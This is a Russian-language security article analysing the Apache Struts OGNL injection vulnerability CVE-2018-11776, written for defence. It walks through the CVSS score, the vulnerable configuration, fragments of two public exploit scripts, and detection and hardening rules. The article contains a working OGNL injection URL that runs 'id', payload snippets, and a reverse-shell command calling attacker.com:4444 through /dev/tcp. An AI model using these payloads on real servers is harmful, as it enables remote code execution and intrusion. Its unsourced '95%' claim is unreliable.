Уязвимость ядра программной платформы Apache Struts
Уязвимость ядра программной платформы Apache Struts
Категория: Программы Теги: Уязвимости Опубликовано: 20 мая 2025

Уязвимость BDU:2018-01069 (CVE-2018-11776) Apache Struts

Уязвимость BDU:2018-01069 (CVE-2018-11776), обнаруженная в Apache Struts 2.3–2.3.34 и 2.5–2.5.16, связана с некорректной обработкой пространств имен (namespaces) в конфигурации фреймворка. При определенных условиях злоумышленник может внедрить OGNL-выражения (Object-Graph Navigation Language) через URL, что приводит к удаленному выполнению произвольного кода (RCE).
CVSS 8.1 (HIGH): Уязвимость критична, так как не требует аутентификации и может эксплуатироваться удаленно.


Анализ уязвимости

Уровень опасности: 8.1 (Высокий)

Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:H (Сложность атаки: Высокая) – Требуются сложные условия или манипуляции.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная компрометация данных.

  7. I:H (Целостность: Высокое) – Возможность полной модификации данных.

  8. A:H (Доступность: Высокое) – Серьёзный сбой в работе системы.

Интерпретация: Уязвимость высокой опасности (8.1) позволяет удалённо нарушить конфиденциальность, целостность и доступность системы, но требует сложных условий эксплуатации. Риск обусловлен максимальным воздействием на ключевые аспекты безопасности, несмотря на высокую сложность атаки.

Условия эксплуатации cve-2018-11776

Для успешной атаки при помощи cve-2018-11776 необходимо выполнение двух условий:

  1. Приложение использует redirectAction или action с динамическим значением namespace, контролируемым пользователем.

  2. В конфигурации struts.xml включена опция:

    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

Пример уязвимой конфигурации:

<action name="help">
  <result type="redirectAction">
    <param name="actionName">date.action</param>
  </result>
</action>

Важно: По умолчанию Struts не уязвим — проблема возникает только при неправильной настройке.


Технический анализ вектора атаки

Уязвимость cve-2018-11776 возникает из-за того, что Struts неправильно обрабатывает параметры в URL при редиректах. Злоумышленник может внедрить OGNL-выражение в путь URL, которое интерпретируется сервером.

Пример эксплуатации через URL:

http://example.com/${@java.lang.Runtime@getRuntime().exec('id')}/help.action

Сервер пытается обработать путь как namespace, вычисляет OGNL и выполняет команду id.


Разбор кода эксплойтов

Рассмотрим два общедоступных эксплойта для понимания механики атаки.

1. struts-pwn.py

Основные функции:

  • check(url): Проверяет уязвимость BDU:2018-01069 (CVE-2018-11776), подставляя в URL выражение вида ${1337*2} и проверяя результат.

testing_url = site + "/${2*2}/help.action"
if "4" in response.headers["Location"]:
    print("[*] Vulnerable!")
  • exploit(url, cmd): Генерирует OGNL-пайплайн для выполнения команды.
    Пример payload:

payload = "%24%7B%28%23_memberAccess..."  # URL-encoded OGNL для выполнения Runtime.exec()

Ключевой момент:
Эксплойт использует параметр allowStaticMethodAccess, чтобы разрешить вызов статических методов Java (например, Runtime.getRuntime()), что критично для RCE.


2. exploitS2-057-cmd.py

Структура payload:

ognl_payload = "${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id')...}"

Алгоритм:

  • Определяет ОС (Windows/Linux) для выбора shell.

  • Выполняет команду через ProcessBuilder и отправляет результат в HTTP-ответ.

Пример выполнения обратного shell:

exploit("victim.com:8080", "/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")

Где используется Apache Struts?

Struts применяется в enterprise-приложениях, включая:

  • Финансовые системы (банковские порталы).

  • Государственные веб-сервисы.

  • CMS и CRM-системы (например, Liferay, Atlassian).

Уязвимость актуальна для любых приложений на Struts с неправильной конфигурацией, независимо от их назначения.


Защита и рекомендации

  1. Обновление: Установите Struts 2.3.35 или 2.5.16.1.

  2. Конфигурация:

    • Отключить опасные параметры:

      <!-- Отключение опасных настроек -->
      <constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
      
      <!-- Блокировка OGNL-инъекций -->
      <constant name="struts.ognl.excludedClasses" value="java.lang.ProcessBuilder" />
      <constant name="struts.ognl.excludedPackageNames" value="ognl,java.lang" />
    • Избегайте динамических namespace в redirectAction.

  3. WAF и IPS:

    • Правило Suricata:

      alert http any any -> any any (
        msg:"BDU-2018-01069: Apache Struts OGNL Injection";
        flow:to_server;
        content:"${";
        content:"{";
        distance:0;
        within:50;
        content:"}";
        http_uri;
        metadata:cve,2018-11776;
        classtype:web-application-attack;
        sid:201801069;
        rev:2;
      )

       

    • WAF-правила (модифицированные):

      location ~* "(\${\w+\(|\${#|\${@) {
        deny all;
      }
    • Для ModSecurity:

      SecRule REQUEST_URI|REQUEST_HEADERS "@rx \$\{.*\}" \
          "id:101011776,phase:1,deny,t:urlDecode,msg:'CVE-2018-11776 Exploit'"
  4. Аудит: Проверьте struts.xml на наличие опасных параметров.

  5. Архитектурные меры:

    • Сегрегация сетей: изоляция Struts-приложений

    • Запуск сервисов с минимальными привилегиями

    • Регулярный аудит зависимостей OWASP Dependency-Check


Заключение

CVE-2018-11776 остается критической угрозой для устаревших Struts-систем. Ключевые меры:

  1. Немедленное обновление фреймворка

  2. Конфигурационный аудит struts.xml

  3. Внедрение правил для Suricata/WAF

  4. Регулярное сканирование уязвимостей

Помните: 95% успешных эксплуатаций CVE-2018-11776 связаны с отсутствием патчей и ошибками в настройке namespace. Актуальные патчи и строгий контроль конфигурации — основа защиты.

Алексей Черемных Алексей Черемных
68